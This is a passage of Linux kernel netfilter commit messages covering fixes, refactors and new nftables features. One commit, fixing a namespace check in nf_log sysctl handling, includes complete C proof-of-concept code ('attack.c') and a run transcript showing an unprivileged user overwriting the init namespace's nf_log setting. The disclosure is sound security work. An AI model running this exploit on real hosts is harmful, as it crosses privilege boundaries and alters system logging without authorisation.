requirements or packet was never seen by the connection tracking code)
from packets that are intentionally not tracked (some icmpv6 types such as
neigh solicitation, or by using 'iptables -j CT --notrack' option).
Untracked conntrack objects are implementation detail, we might as well use
invalid magic address instead to tell INVALID and UNTRACKED apart.
Check skb->nfct for untracked dummy and behave as if skb->nfct is NULL.
Reported-by: XU Tianwen <evan.xu.tianwen@gmail.com>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
family.maxattr is the max index for policy[], the size of
ops[] is determined with ARRAY_SIZE().
Reported-by: Andrey Konovalov <andreyknvl@google.com>
Tested-by: Andrey Konovalov <andreyknvl@google.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Cong Wang <xiyou.wangcong@gmail.com>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NF_REPEAT is only needed from nf_conntrack_in() under a very specific
case required by the TCP protocol tracker, we can handle this case
without returning to the core hook path. Handling of NF_REPEAT from the
nf_reinject() is left untouched.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_iterate() has become rather simple, we can integrate this code into
nf_hook_slow() to reduce the amount of LOC in the core path.
However, we still need nf_iterate() around for nf_queue packet handling,
so move this function there where we only need it. I think it should be
possible to refactor nf_queue code to get rid of it definitely, but
given this is slow path anyway, let's have a look this later.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This field is only useful for nf_queue, so store it in the
nf_queue_entry structure instead, away from the core path. Pass
hook_head to nf_hook_slow().
Since we always have a valid entry on the first iteration in
nf_iterate(), we can use 'do { ... } while (entry)' loop instead.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use switch() for verdict handling and add explicit handling for
NF_STOLEN and other non-conventional verdicts.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Don't copy relevant fields from hook state structure, instead use the
one that is already available in struct xt_action_param.
This patch also adds a set of new wrapper functions to fetch relevant
hook state structure fields.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Place pointer to hook state in xt_action_param structure instead of
copying the fields that we need. After this change xt_action_param fits
into one cacheline.
This patch also adds a set of new wrapper functions to fetch relevant
hook state structure fields.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NF_STOP is only used by br_netfilter these days, and it can be emulated
with a combination of NF_STOLEN plus explicit call to the ->okfn()
function as Florian suggests.
To retain binary compatibility with userspace nf_queue application, we
have to keep NF_STOP around, so libnetfilter_queue userspace userspace
applications still work if they use NF_STOP for some exotic reason.
Out of tree modules using NF_STOP would break, but we don't care about
those.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Patch c5136b15ea ("netfilter: bridge: add and use br_nf_hook_thresh")
introduced br_nf_hook_thresh().
Replace NF_HOOK_THRESH() by br_nf_hook_thresh from
br_nf_forward_finish(), so we have no more callers for this macro.
As a result, state->thresh and explicit thresh parameter in the hook
state structure is not required anymore. And we can get rid of
skip-hook-under-thresh loop in nf_iterate() in the core path that is
only used by br_netfilter to search for the filter hook.
Suggested-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We cannot block/sleep on nf_iterate because netfilter runs under rcu
read lock these days, where blocking is well-known to be illegal. So
let's remove these old comments.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch remove compile time code to catch inconventional verdicts.
We have better ways to handle this case these days, eg. pr_debug() but
even though I don't think this is useful at all, so let's remove this.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Pablo Neira Ayuso says:
====================
Netfilter updates for net-next
The following patchset contains Netfilter updates for your net-next
tree. This includes better integration with the routing subsystem for
nf_tables, explicit notrack support and smaller updates. More
specifically, they are:
1) Add fib lookup expression for nf_tables, from Florian Westphal. This
new expression provides a native replacement for iptables addrtype
and rp_filter matches. This is more flexible though, since we can
populate the kernel flowi representation to inquire fib to
accomodate new usecases, such as RTBH through skb mark.
2) Introduce rt expression for nf_tables, from Anders K. Pedersen. This
new expression allow you to access skbuff route metadata, more
specifically nexthop and classid fields.
3) Add notrack support for nf_tables, to skip conntracking, requested by
many users already.
4) Add boilerplate code to allow to use nf_log infrastructure from
nf_tables ingress.
5) Allow to mangle pkttype from nf_tables prerouting chain, to emulate
the xtables cluster match, from Liping Zhang.
6) Move socket lookup code into generic nf_socket_* infrastructure so
we can provide a native replacement for the xtables socket match.
7) Make sure nfnetlink_queue data that is updated on every packets is
placed in a different cache from read-only data, from Florian Westphal.
8) Handle NF_STOLEN from nf_tables core, also from Florian Westphal.
9) Start round robin number generation in nft_numgen from zero,
instead of n-1, for consistency with xtables statistics match,
patch from Liping Zhang.
10) Set GFP_NOWARN flag in skbuff netlink allocations in nfnetlink_log,
given we retry with a smaller allocation on failure, from Calvin Owens.
11) Cleanup xt_multiport to use switch(), from Gao feng.
12) Remove superfluous check in nft_immediate and nft_cmp, from
Liping Zhang.
====================
Signed-off-by: David S. Miller <davem@davemloft.net>
As the comment indicates, the data at the end of nfqnl_instance struct is
written on every queue/dequeue, so it should reside in its own cacheline.
Before this change, 'lock' was in first cacheline so we dirtied both.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After call nft_data_init, size is already validated and desc.len will
not exceed the sizeof(struct nft_data), i.e. 16 bytes. So it will never
exceed U8_MAX.
Furthermore, in nft_immediate_init, we forget to call nft_data_uninit
when desc.len exceeds U8_MAX, although this will not happen, but it's
a logical mistake.
Now remove these redundant validation introduced by commit 36b701fae1
("netfilter: nf_tables: validate maximum value of u32 netlink attributes")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Introduces an nftables rt expression for routing related data with support
for nexthop (i.e. the directly connected IP address that an outgoing packet
is sent to), which can be used either for matching or accounting, eg.
# nft add rule filter postrouting \
ip daddr 192.168.1.0/24 rt nexthop != 192.168.0.1 drop
This will drop any traffic to 192.168.1.0/24 that is not routed via
192.168.0.1.
# nft add rule filter postrouting \
flow table acct { rt nexthop timeout 600s counter }
# nft add rule ip6 filter postrouting \
flow table acct { rt nexthop timeout 600s counter }
These rules count outgoing traffic per nexthop. Note that the timeout
releases an entry if no traffic is seen for this nexthop within 10 minutes.
# nft add rule inet filter postrouting \
ether type ip \
flow table acct { rt nexthop timeout 600s counter }
# nft add rule inet filter postrouting \
ether type ip6 \
flow table acct { rt nexthop timeout 600s counter }
Same as above, but via the inet family, where the ether type must be
specified explicitly.
"rt classid" is also implemented identical to "meta rtclassid", since it
is more logical to have this match in the routing expression going forward.
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Move layer 2 packet logging into nf_log_l2packet() that resides in
nf_log_common.c, so this can be shared by both bridge and netdev
families.
This patch adds the boiler plate code to register the netdev logging
family.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Add FIB expression, supported for ipv4, ipv6 and inet family (the latter
just dispatches to ipv4 or ipv6 one based on nfproto).
Currently supports fetching output interface index/name and the
rtm_type associated with an address.
This can be used for adding path filtering. rtm_type is useful
to e.g. enforce a strong-end host model where packets
are only accepted if daddr is configured on the interface the
packet arrived on.
The fib expression is a native nftables alternative to the
xtables addrtype and rp_filter matches.
FIB result order for oif/oifname retrieval is as follows:
- if packet is local (skb has rtable, RTF_LOCAL set, this
will also catch looped-back multicast packets), set oif to
the loopback interface.
- if fib lookup returns an error, or result points to local,
store zero result. This means '--local' option of -m rpfilter
is not supported. It is possible to use 'fib type local' or add
explicit saddr/daddr matching rules to create exceptions if this
is really needed.
- store result in the destination register.
In case of multiple routes, search set for desired oif in case
strict matching is requested.
ipv4 and ipv6 behave fib expressions are supposed to behave the same.
[ I have collapsed Arnd Bergmann's ("netfilter: nf_tables: fib warnings")
http://patchwork.ozlabs.org/patch/688615/
to address fallout from this patch after rebasing nf-next, that was
posted to address compilation warnings. --pablo ]
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When the memory is exhausted, then we will fail to add the NFT_MSG_NEWSET
transaction. In such case, we should destroy the set before we free it.
Fixes: 958bee14d0 ("netfilter: nf_tables: use new transaction infrastructure to handle sets")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Mostly simple overlapping changes.
For example, David Ahern's adjacency list revamp in 'net-next'
conflicted with an adjacency list traversal bug fix in 'net'.
Signed-off-by: David S. Miller <davem@davemloft.net>
Building the ip_vs_sync code with CONFIG_OPTIMIZE_INLINING on x86
confuses the compiler to the point where it produces a rather
dubious warning message:
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
struct ip_vs_sync_conn_options opt;
^~~
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘opt.previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).init_seq’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
net/netfilter/ipvs/ip_vs_sync.c:1073:33: error: ‘*((void *)&opt+12).previous_delta’ may be used uninitialized in this function [-Werror=maybe-uninitialized]
The problem appears to be a combination of a number of factors, including
the __builtin_bswap32 compiler builtin being slightly odd, having a large
amount of code inlined into a single function, and the way that some
functions only get partially inlined here.
I've spent way too much time trying to work out a way to improve the
code, but the best I've come up with is to add an explicit memset
right before the ip_vs_seq structure is first initialized here. When
the compiler works correctly, this has absolutely no effect, but in the
case that produces the warning, the warning disappears.
In the process of analysing this warning, I also noticed that
we use memcpy to copy the larger ip_vs_sync_conn_options structure
over two members of the ip_vs_conn structure. This works because
the layout is identical, but seems error-prone, so I'm changing
this in the process to directly copy the two members. This change
seemed to have no effect on the object code or the warning, but
it deals with the same data, so I kept the two changes together.
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Acked-by: Julian Anastasov <ja@ssi.bg>
Signed-off-by: Simon Horman <horms@verge.net.au>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Now genl_register_family() is the only thing (other than the
users themselves, perhaps, but I didn't find any doing that)
writing to the family struct.
In all families that I found, genl_register_family() is only
called from __init functions (some indirectly, in which case
I've add __init annotations to clarifly things), so all can
actually be marked __ro_after_init.
This protects the data structure from accidental corruption.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Instead of providing macros/inline functions to initialize
the families, make all users initialize them statically and
get rid of the macros.
This reduces the kernel code size by about 1.6k on x86-64
(with allyesconfig).
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Static family IDs have never really been used, the only
use case was the workaround I introduced for those users
that assumed their family ID was also their multicast
group ID.
Additionally, because static family IDs would never be
reserved by the generic netlink code, using a relatively
low ID would only work for built-in families that can be
registered immediately after generic netlink is started,
which is basically only the control family (apart from
the workaround code, which I also had to add code for so
it would reserve those IDs)
Thus, anything other than GENL_ID_GENERATE is flawed and
luckily not used except in the cases I mentioned. Move
those workarounds into a few lines of code, and then get
rid of GENL_ID_GENERATE entirely, making it more robust.
Signed-off-by: Johannes Berg <johannes.berg@intel.com>
Signed-off-by: David S. Miller <davem@davemloft.net>
Commit 36b701fae1 ("netfilter: nf_tables: validate maximum value of
u32 netlink attributes") introduced nft_parse_u32_check with a return
value of "unsigned int", yet on error it returns "-ERANGE".
This patch corrects the mismatch by changing the return value to "int",
which happens to match the actual users of nft_parse_u32_check already.
Found by Coverity, CID 1373930.
Note that commit 21a9e0f156 ("netfilter: nft_exthdr: fix error
handling in nft_exthdr_init()) attempted to address the issue, but
did not address the return type of nft_parse_u32_check.
Signed-off-by: John W. Linville <linville@tuxdriver.com>
Cc: Laura Garcia Liebana <nevola@gmail.com>
Cc: Pablo Neira Ayuso <pablo@netfilter.org>
Cc: Dan Carpenter <dan.carpenter@oracle.com>
Fixes: 36b701fae1 ("netfilter: nf_tables: validate maximum value...")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
on SIP requests, so a fragmented TCP SIP packet from an allow header starting with
INVITE,NOTIFY,OPTIONS,REFER,REGISTER,UPDATE,SUBSCRIBE
Content-Length: 0
will not bet interpreted as an INVITE request. Also Request-URI must start with an alphabetic character.
Confirm with RFC 3261
Request-Line = Method SP Request-URI SP SIP-Version CRLF
Fixes: 30f33e6dee ("[NETFILTER]: nf_conntrack_sip: support method specific request/response handling")
Signed-off-by: Ulrich Weber <ulrich.weber@riverbed.com>
Acked-by: Marco Angaroni <marcoangaroni@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Packets may race when create the new element in nft_hash_update:
CPU0 CPU1
lookup_fast - fail lookup_fast - fail
new - ok new - ok
insert - ok insert - fail(EEXIST)
So when race happened, we reuse the existing element. Otherwise,
these *racing* packets will not be handled properly.
Fixes: 22fe54d5fe ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When nft_expr_clone failed, a series of problems will happen:
1. module refcnt will leak, we call __module_get at the beginning but
we forget to put it back if ops->clone returns fail
2. memory will be leaked, if clone fail, we just return NULL and forget
to free the alloced element
3. set->nelems will become incorrect when set->size is specified. If
clone fail, we should decrease the set->nelems
Now this patch fixes these problems. And fortunately, clone fail will
only happen on counter expression when memory is exhausted.
Fixes: 086f332167 ("netfilter: nf_tables: add clone interface to expression operations")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When CONFIG_NFT_SET_HASH is not enabled and I input the following rule:
"nft add rule filter output flow table test {ip daddr counter }", kernel
panic happened on my system:
BUG: unable to handle kernel NULL pointer dereference at (null)
IP: [< (null)>] (null)
[...]
Call Trace:
[<ffffffffa0590466>] ? nft_dynset_eval+0x56/0x100 [nf_tables]
[<ffffffffa05851bb>] nft_do_chain+0xfb/0x4e0 [nf_tables]
[<ffffffffa0432f01>] ? nf_conntrack_tuple_taken+0x61/0x210 [nf_conntrack]
[<ffffffffa0459ea6>] ? get_unique_tuple+0x136/0x560 [nf_nat]
[<ffffffffa043bca1>] ? __nf_ct_ext_add_length+0x111/0x130 [nf_conntrack]
[<ffffffffa045a357>] ? nf_nat_setup_info+0x87/0x3b0 [nf_nat]
[<ffffffff81761e27>] ? ipt_do_table+0x327/0x610
[<ffffffffa045a6d7>] ? __nf_nat_alloc_null_binding+0x57/0x80 [nf_nat]
[<ffffffffa059f21f>] nft_ipv4_output+0xaf/0xd0 [nf_tables_ipv4]
[<ffffffff81702515>] nf_iterate+0x55/0x60
[<ffffffff81702593>] nf_hook_slow+0x73/0xd0
Because in rbtree type set, ops->update is not implemented. So just keep
it simple, in such case, report -EOPNOTSUPP to the user space.
Fixes: 22fe54d5fe ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Liping Zhang <zlpnobody@gmail.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
This patch adds notrack support.
I decided to add a new expression, given that this doesn't fit into the
existing set operation. Notrack doesn't need a source register, and an
hypothetical NFT_CT_NOTRACK key makes no sense since matching the
untracked state is done through NFT_CT_STATE.
I'm placing this new notrack expression into nft_ct.c, I think a single
module is too much.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
After supporting this, we can combine it with hash expression to emulate
the 'cluster match'.
Suggested-by: Pablo Neira Ayuso <pablo@netfilter.org>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently we start round robin from 1, but it's better to start round
robin from 0. This is to keep consistent with xt_statistic in iptables.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Currently not supported, we'd oops as skb was (or is) free'd elsewhere.
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Since the code explicilty falls back to a smaller allocation when the
large one fails, we shouldn't complain when that happens.
Signed-off-by: Calvin Owens <calvinowens@fb.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
There are multiple equality condition checks in the original codes, so it
is better to use switch case instead of them.
Signed-off-by: Gao Feng <fgao@ikuai8.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_queue handling is broken since e3b37f11e6 ("netfilter: replace
list_head with single linked list") for two reasons:
1) If the bypass flag is set on, there are no userspace listeners and
we still have more hook entries to iterate over, then jump to the
next hook. Otherwise accept the packet. On nf_reinject() path, the
okfn() needs to be invoked.
2) We should not re-enter the same hook on packet reinjection. If the
packet is accepted, we have to skip the current hook from where the
packet was enqueued, otherwise the packets gets enqueued over and
over again.
This restores the previous list_for_each_entry_continue() behaviour
happening from nf_iterate() that was dealing with these two cases.
This patch introduces a new nf_queue() wrapper function so this fix
becomes simpler.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When the maximum evictions number is reached, do not wait 5 seconds before
the next run.
CC: Florian Westphal <fw@strlen.de>
Signed-off-by: Nicolas Dichtel <nicolas.dichtel@6wind.com>
Acked-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Markus Trippelsdorf reports:
WARNING: kmemcheck: Caught 64-bit read from uninitialized memory (ffff88001e605480)
4055601e0088ffff000000000000000090686d81ffffffff0000000000000000
u u u u u u u u u u u u u u u u i i i i i i i i u u u u u u u u
^
|RIP: 0010:[<ffffffff8166e561>] [<ffffffff8166e561>] nf_register_net_hook+0x51/0x160
[..]
[<ffffffff8166e561>] nf_register_net_hook+0x51/0x160
[<ffffffff8166eaaf>] nf_register_net_hooks+0x3f/0xa0
[<ffffffff816d6715>] ipt_register_table+0xe5/0x110
[..]
This warning is harmless; we copy 'uninitialized' data from the hook ops
but it will not be used.
Long term the structures keeping run-time data should be disentangled
from those only containing config-time data (such as where in the list
to insert a hook), but thats -next material.
Reported-by: Markus Trippelsdorf <markus@trippelsdorf.de>
Suggested-by: Al Viro <viro@ZenIV.linux.org.uk>
Signed-off-by: Florian Westphal <fw@strlen.de>
Acked-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
The newly added nft_range_eval() function handles the two possible
nft range operations, but as the compiler warning points out,
any unexpected value would lead to the 'mismatch' variable being
used without being initialized:
net/netfilter/nft_range.c: In function 'nft_range_eval':
net/netfilter/nft_range.c:45:5: error: 'mismatch' may be used uninitialized in this function [-Werror=maybe-uninitialized]
This removes the variable in question and instead moves the
condition into the switch itself, which is potentially more
efficient than adding a bogus 'default' clause as in my
first approach, and is nicer than using the 'uninitialized_var'
macro.
Fixes: 0f3cd9b369 ("netfilter: nf_tables: add range expression")
Link: http://patchwork.ozlabs.org/patch/677114/
Signed-off-by: Arnd Bergmann <arnd@arndb.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use nft_parse_u32_check() to make sure we don't get a value over the
unsigned 8-bit integer. Moreover, make sure this value doesn't go over
the two supported range comparison modes.
Fixes: 9286c2eb1fda ("netfilter: nft_range: validate operation netlink attribute")
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
"err" needs to be signed for the error handling to work.
Fixes: 36b701fae1 ('netfilter: nf_tables: validate maximum value of u32 netlink attributes')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
We don't want to allow negatives here.
Fixes: 36b701fae1 ('netfilter: nf_tables: validate maximum value of u32 netlink attributes')
Signed-off-by: Dan Carpenter <dan.carpenter@oracle.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Missing the nla_policy description will also miss the validation check
in kernel.
Fixes: 70ca767ea1 ("netfilter: nft_hash: Add hash offset value")
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Otherwise, user cannot add related rules if xt_ipcomp.ko is not loaded:
# iptables -A OUTPUT -p 108 -m ipcomp --ipcompspi 1
iptables: No chain/target/match by that name.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Justin and Chris spotted that iptables NFLOG target was broken when they
upgraded the kernel to 4.8: "ulogd-2.0.5- IPs are no longer logged" or
"results in segfaults in ulogd-2.0.5".
Because "struct nf_loginfo li;" is a local variable, and flags will be
filled with garbage value, not inited to zero. So if it contains 0x1,
packets will not be logged to the userspace anymore.
Fixes: 7643507fe8 ("netfilter: xt_NFLOG: nflog-range does not truncate packets")
Reported-by: Justin Piszcz <jpiszcz@lucidpixels.com>
Reported-by: Chris Caputo <ccaputo@alt.net>
Tested-by: Chris Caputo <ccaputo@alt.net>
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
With HZ=100 element timeout in dynamic sets (i.e. flow tables) is 10 times
higher than configured.
Add proper conversion to/from jiffies, when interacting with userspace.
I tested this on Linux 4.8.1, and it applies cleanly to current nf and
nf-next trees.
Fixes: 22fe54d5fe ("netfilter: nf_tables: add support for dynamic set updates")
Signed-off-by: Anders K. Pedersen <akp@cohaesio.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
On 32-bit (e.g. with m68k-linux-gnu-gcc-4.1):
net/netfilter/xt_hashlimit.c: In function ‘user2credits’:
net/netfilter/xt_hashlimit.c:476: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c:478: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c:480: warning: integer constant is too large for ‘long’ type
...
net/netfilter/xt_hashlimit.c: In function ‘rateinfo_recalc’:
net/netfilter/xt_hashlimit.c:513: warning: integer constant is too large for ‘long’ type
Fixes: 11d5f15723 ("netfilter: xt_hashlimit: Create revision 2 to support higher pps rates")
Signed-off-by: Geert Uytterhoeven <geert@linux-m68k.org>
Acked-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Use the correct pattern for singly linked list insertion and
deletion. We can also calculate the list head outside of the
mutex.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
Reviewed-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: David S. Miller <davem@davemloft.net>
net/netfilter/core.c | 108 ++++++++++++++++-----------------------------------
1 file changed, 33 insertions(+), 75 deletions(-)
nf_log_proc_dostring() used current's network namespace instead of the one
corresponding to the sysctl file the write was performed on. Because the
permission check happens at open time and the nf_log files in namespaces
are accessible for the namespace owner, this can be abused by an
unprivileged user to effectively write to the init namespace's nf_log
sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;
gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}
int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}
int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}
Repro:
$ gcc -Wall -o attack attack.c -std=gnu99
$ cat /proc/sys/net/netfilter/nf_log/2
nf_log_ipv4
$ ./attack
$ cat /proc/sys/net/netfilter/nf_log/2
NONE
Because this looks like an issue with very low severity, I'm sending it to
the public list directly.
Signed-off-by: Jann Horn <jann@thejh.net>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Division of 64bit integers will cause linker error undefined reference
to `__udivdi3'. Fix this by replacing divisions with div64_64
Fixes: 11d5f15723 ("netfilter: xt_hashlimit: Create revision 2 to ...")
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Acked-by: Maciej Żenczykowski <maze@google.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
When CONFIG_NETFILTER_INGRESS is unset (or no), we need to handle
the request for registration properly by dropping the hook. This
releases the entry during the set.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
It's possible for nf_hook_entry_head to return NULL. If two
nf_unregister_net_hook calls happen simultaneously with a single hook
entry in the list, both will enter the nf_hook_mutex critical section.
The first will successfully delete the head, but the second will see
this NULL pointer and attempt to dereference.
This fix ensures that no null pointer dereference could occur when such
a condition happens.
Fixes: e3b37f11e6 ("netfilter: replace list_head with single linked list")
Signed-off-by: Aaron Conole <aconole@bytheb.org>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Conflicts:
net/netfilter/core.c
net/netfilter/nf_tables_netdev.c
Resolve two conflicts before pull request for David's net-next tree:
1) Between c73c248490 ("netfilter: nf_tables_netdev: remove redundant
ip_hdr assignment") from the net tree and commit ddc8b6027a
("netfilter: introduce nft_set_pktinfo_{ipv4, ipv6}_validate()").
2) Between e8bffe0cf9 ("net: Add _nf_(un)register_hooks symbols") and
Aaron Conole's patches to replace list_head with single linked list.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
nf_log is used by both nftables and iptables, so use XT_LOG_XXX macros
here is not appropriate. Replace them with NF_LOG_XXX.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
NFTA_LOG_FLAGS attribute is already supported, but the related
NF_LOG_XXX flags are not exposed to the userspace. So we cannot
explicitly enable log flags to log uid, tcp sequence, ip options
and so on, i.e. such rule "nft add rule filter output log uid"
is not supported yet.
So move NF_LOG_XXX macro definitions to the uapi/../nf_log.h. In
order to keep consistent with other modules, change NF_LOG_MASK to
refer to all supported log flags. On the other hand, add a new
NF_LOG_DEFAULT_MASK to refer to the original default log flags.
Finally, if user specify the unsupported log flags or NFTA_LOG_GROUP
and NFTA_LOG_FLAGS are set at the same time, report EINVAL to the
userspace.
Signed-off-by: Liping Zhang <liping.zhang@spreadtrum.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Inverse ranges != [a,b] are not currently possible because rules are
composites of && operations, and we need to express this:
data < a || data > b
This patch adds a new range expression. Positive ranges can be already
through two cmp expressions:
cmp(sreg, data, >=)
cmp(sreg, data, <=)
This new range expression provides an alternative way to express this.
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Fabian reports a possible conntrack memory leak (could not reproduce so
far), however, one minor issue can be easily resolved:
> cat /proc/net/nf_conntrack | wc -l = 5
> 4 minutes required to clean up the table.
We should not report those timed-out entries to the user in first place.
And instead of just skipping those timed-out entries while iterating over
the table we can also zap them (we already do this during ctnetlink
walks, but I forgot about the /proc interface).
Fixes: f330a7fdbe ("netfilter: conntrack: get rid of conntrack timer")
Reported-by: Fabian Frederick <fabf@skynet.be>
Signed-off-by: Florian Westphal <fw@strlen.de>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
Create a new revision for the hashlimit iptables extension module. Rev 2
will support higher pps of upto 1 million, Version 1 supports only 10k.
To support this we have to increase the size of the variables avg and
burst in hashlimit_cfg to 64-bit. Create two new structs hashlimit_cfg2
and xt_hashlimit_mtinfo2 and also create newer versions of all the
functions for match, checkentry and destroy.
Some of the functions like hashlimit_mt, hashlimit_mt_check etc are very
similar in both rev1 and rev2 with only minor changes, so I have split
those functions and moved all the common code to a *_common function.
Signed-off-by: Vishwanath Pai <vpai@akamai.com>
Signed-off-by: Joshua Hunt <johunt@akamai.com>
Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
